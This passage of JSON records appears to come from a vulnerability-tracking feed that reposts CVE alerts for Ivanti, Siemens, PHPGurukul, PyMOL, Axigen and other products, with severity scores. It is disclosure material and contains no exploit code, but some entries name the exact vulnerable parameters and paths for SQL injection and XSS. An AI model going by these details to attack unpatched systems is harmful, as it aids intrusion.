p.m. | 21\u00a0minutes ago \nDescription : A vulnerability has been identified in Mendix Runtime V10 (All versions < V10.16.0 only if the basic authentication mechanism is used by the application), Mendix Runtime V10.12 (All versions < V10.12.7 only if the basic authentication mechanism is used by the application), Mendix Runtime V10.6 (All versions < V10.6.15 only if the basic authentication mechanism is used by the application), Mendix Runtime V8 (All versions), Mendix Runtime V9 (All versions < V9.24.29 only if the basic authentication mechanism is used by the application). The basic authentication implementation of affected applications contains a race condition vulnerability which could allow unauthenticated remote attackers to circumvent default account lockout measures. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T14:41:39.000000Z"}, {"uuid": "d09efa71-048a-4d68-98c0-ec658372cd54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50990", "type": "seen", "source": "https://t.me/cvedetector/10505", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50990 - \"PHPGurukul Online Marriage Registration System Reflected XSS\"\", \n  \"Content\": \"CVE ID : CVE-2024-50990 \nPublished : Nov. 11, 2024, 3:15 p.m. | 35\u00a0minutes ago \nDescription : A Reflected Cross Site Scriptng (XSS) vulnerability was found in /omrs/user/search.php in PHPGurukul Online Marriage Registration System v1.0, which allows remote attackers to execute arbitrary code via the \"searchdata\" POST request parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-11T16:56:28.000000Z"}, {"uuid": "c666aa8a-11bc-4b77-9615-ddfb61f8de66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50989", "type": "seen", "source": "https://t.me/cvedetector/10504", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50989 - PHPGurukul Online Marriage Registration System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50989 \nPublished : Nov. 11, 2024, 3:15 p.m. | 35\u00a0minutes ago \nDescription : A SQL injection vulnerability in /omrs/admin/search.php in PHPGurukul Online Marriage Registration System v1.0 allows an attacker to execute arbitrary SQL commands via the \"searchdata \" parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-11T16:56:27.000000Z"}, {"uuid": "c7dd68b3-9510-4a96-ad2f-7f491c7570d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50322", "type": "seen", "source": "https://t.me/cvedetector/10648", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50322 - Ivanti Endpoint Manager Path Traversal Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-50322 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : Path traversal in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update\u00a0allows a local unauthenticated attacker to achieve code execution. User interaction is required. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:23.000000Z"}, {"uuid": "39f4a8c8-be80-4c90-af8d-686cbe04b75b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50336", "type": "seen", "source": "https://t.me/cvedetector/10665", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50336 - Matrix-js-sdk Remote File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50336 \nPublished : Nov. 12, 2024, 5:15 p.m. | 33\u00a0minutes ago \nDescription : matrix-js-sdk is a Matrix messaging protocol Client-Server SDK for JavaScript. matrix-js-sdk before 34.11.0 is vulnerable to client-side path traversal via crafted MXC URIs. A malicious room member can trigger clients based on the matrix-js-sdk to issue arbitrary authenticated GET requests to the client's homeserver. Fixed in matrix-js-sdk 34.11.1. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:53:50.000000Z"}, {"uuid": "1a2e9819-80fb-4b2a-9c67-d6d06de922bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50320", "type": "seen", "source": "https://t.me/cvedetector/10653", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50320 - Ivanti Avalanche Infinite Loop Remote Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-50320 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : An infinite loop in Ivanti Avalanche before 6.4.6 allows a remote unauthenticated attacker to cause a denial of service. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:30.000000Z"}, {"uuid": "7b7dc2b4-7289-4c7b-9b73-f937c1ba1564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50319", "type": "seen", "source": "https://t.me/cvedetector/10652", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50319 - Ivanti Avalanche Infinite Loop Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-50319 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : An infinite loop in Ivanti Avalanche before 6.4.6 allows a remote unauthenticated attacker to cause a denial of service. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:29.000000Z"}, {"uuid": "2e46d3fb-75f6-4338-b6fa-aeee8e9e2ea7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50318", "type": "seen", "source": "https://t.me/cvedetector/10651", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50318 - Ivanti Avalanche Null Pointer Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50318 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : A null pointer dereference in Ivanti Avalanche before 6.4.6 allows a remote unauthenticated attacker to cause a denial of service. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:29.000000Z"}, {"uuid": "9c383f99-c695-439c-89da-75b54253c974", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50317", "type": "seen", "source": "https://t.me/cvedetector/10650", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50317 - Ivanti Avalanche Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50317 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : A null pointer dereference in Ivanti Avalanche before 6.4.6 allows a remote unauthenticated attacker to cause a denial of service. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:28.000000Z"}, {"uuid": "ee8b0518-63e3-4ee1-9837-7d4e1dba0ab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50324", "type": "seen", "source": "https://t.me/cvedetector/10645", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50324 - Ivanti Endpoint Manager Remote Code Execution via Path Traversal\", \n  \"Content\": \"CVE ID : CVE-2024-50324 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : Path traversal in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update\u00a0allows a remote authenticated attacker with admin privileges to achieve remote code execution. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:20.000000Z"}, {"uuid": "dd52ba1e-91af-4766-b853-c5307e26a6a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50323", "type": "seen", "source": "https://t.me/cvedetector/10644", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50323 - Ivanti Endpoint Manager SQL Injection RCE\", \n  \"Content\": \"CVE ID : CVE-2024-50323 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : SQL injection in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update\u00a0allows a local unauthenticated attacker to achieve code execution. User interaction is required. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:17.000000Z"}, {"uuid": "23531dd0-fbbe-466b-a912-ee0a3e21e29c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50331", "type": "seen", "source": "https://t.me/cvedetector/10643", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50331 - Ivanti Avalanche Out-of-Bounds Read Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-50331 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : An out-of-bounds read vulnerability in Ivanti Avalanche before 6.4.6 allows a remote unauthenticated attacker to leak sensitive information in memory. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:16.000000Z"}, {"uuid": "94afd067-b758-47cf-a22b-b5cd20ebbd27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50330", "type": "seen", "source": "https://t.me/cvedetector/10642", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50330 - Ivanti Endpoint Manager SQL Injection Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-50330 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : SQL injection in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update\u00a0allows a remote unauthenticated attacker to achieve remote code execution. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:15.000000Z"}, {"uuid": "34cadca6-04c7-433d-8302-44c3e1fc0af9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50328", "type": "seen", "source": "https://t.me/cvedetector/10640", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50328 - \"Ivanti Endpoint Manager SQL Injection RCE\"\", \n  \"Content\": \"CVE ID : CVE-2024-50328 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : SQL injection in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update\u00a0allows a remote authenticated attacker with admin privileges to achieve remote code execution. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:14.000000Z"}, {"uuid": "1035afd2-9beb-426c-81d0-e44e34084682", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50327", "type": "seen", "source": "https://t.me/cvedetector/10639", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50327 - Ivanti Endpoint Manager Remote Code Execution via SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50327 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : SQL injection in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update\u00a0allows a remote authenticated attacker with admin privileges to achieve remote code execution. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:10.000000Z"}, {"uuid": "306bf9ef-924c-44d6-99f6-22936eb65636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50329", "type": "seen", "source": "https://t.me/cvedetector/10641", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50329 - \"Ivanti Endpoint Manager Path Traversal Remote Code Execution Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50329 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : Path traversal in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update\u00a0allows a remote unauthenticated attacker to achieve remote code execution. User interaction is required. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:14.000000Z"}, {"uuid": "bd2b0e42-0af6-44e0-bea8-4f1d7a67b19f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50636", "type": "seen", "source": "https://t.me/cvedetector/10554", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50636 - PyMOL Command Execution through Malicious .PYM Files\", \n  \"Content\": \"CVE ID : CVE-2024-50636 \nPublished : Nov. 11, 2024, 11:15 p.m. | 37\u00a0minutes ago \nDescription : PyMOL 2.5.0 contains a vulnerability in its \"Run Script\" function, which allows the execution of arbitrary Python code embedded within .PYM files. Attackers can craft a malicious .PYM file containing a Python reverse shell payload and exploit the function to achieve Remote Command Execution (RCE). This vulnerability arises because PyMOL treats .PYM files as Python scripts without properly validating or restricting the commands within the script, enabling attackers to run unauthorized commands in the context of the user running the application. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T01:18:39.000000Z"}, {"uuid": "b2ed73c5-f2d1-4ba5-a4eb-091ab3c6be01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50601", "type": "seen", "source": "https://t.me/cvedetector/10553", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50601 - Axigen Mail Server Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50601 \nPublished : Nov. 11, 2024, 11:15 p.m. | 37\u00a0minutes ago \nDescription : Persistent and reflected XSS vulnerabilities in the themeMode cookie and _h URL parameter of Axigen Mail Server up to version 10.5.28 allow attackers to execute arbitrary Javascript. Exploitation could lead to session hijacking, data leakage, and further exploitation via a multi-stage attack. Fixed in versions 10.3.3.67, 10.4.42, and 10.5.29. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T01:18:38.000000Z"}, {"uuid": "15534694-0fb8-4630-b793-ed17f8821aae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50310", "type": "seen", "source": "https://t.me/cvedetector/10604", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50310 - Siemens SIMATIC CP 1543 Filesystem Authorization Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50310 \nPublished : Nov. 12, 2024, 1:15 p.m. | 21\u00a0minutes ago \nDescription : A vulnerability has been identified in SIMATIC CP 1543-1 V4.0 (6GK7543-1AX10-0XE0) (All versions >= V4.0.44 < V4.0.50). Affected devices do not properly handle authorization. This could allow an unauthenticated remote attacker to gain access to the filesystem. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T14:41:38.000000Z"}, {"uuid": "bd720db5-8ac5-4731-ab7e-438b2fd58b3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50560", "type": "seen", "source": "https://t.me/cvedetector/10601", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50560 - Siemens Industrial Routers Username Truncation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50560 \nPublished : Nov. 12, 2024, 1:15 p.m. | 21\u00a0minutes ago \nDescription : A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V8.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V8.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions < V8.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V8.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions < V8.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V8.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V8.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V8.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V8.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V8.2), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions < V8.2), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions < V8.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V8.2), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions < V8.2), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions < V8.2), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions < V8.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V8.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V8.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V8.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V8.2). Affected devices truncates usernames longer than 15 characters when accessed via SSH or Telnet. This could allow an attacker to compromise system integrity. \nSeverity: 3.1 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T14:41:36.000000Z"}, {"uuid": "9573dac5-123d-4a38-b1e4-c3c1e4e072d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50559", "type": "seen", "source": "https://t.me/cvedetector/10600", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50559 - Siemens Ruggedcom SCALANCE Certificate Validation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50559 \nPublished : Nov. 12, 2024, 1:15 p.m. | 21\u00a0minutes ago \nDescription : A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V8.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V8.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions < V8.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V8.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions < V8.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V8.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V8.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V8.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V8.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V8.2), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions < V8.2), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions < V8.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V8.2), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions < V8.2), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions < V8.2), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions < V8.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V8.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V8.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V8.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V8.2). Affected devices do not properly validate the filenames of the certificate. This could allow an authenticated remote attacker to append arbitrary values which will lead to compromise of integrity of the system. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T14:41:32.000000Z"}, {"uuid": "f81ab514-306e-445c-800f-05ed479cd2bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50558", "type": "seen", "source": "https://t.me/cvedetector/10599", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50558 - Siemens SCALANCE and RUGGEDCOM Remote Access Control Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50558 \nPublished : Nov. 12, 2024, 1:15 p.m. | 21\u00a0minutes ago \nDescription : A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V8.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V8.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions < V8.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V8.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions < V8.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V8.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V8.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V8.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V8.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V8.2), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions < V8.2), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions < V8.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V8.2), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions < V8.2), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions < V8.2), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions < V8.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V8.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V8.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V8.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V8.2). Affected devices improperly manage access control for read-only users. This could allow an attacker to cause a temporary denial of service condition. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": 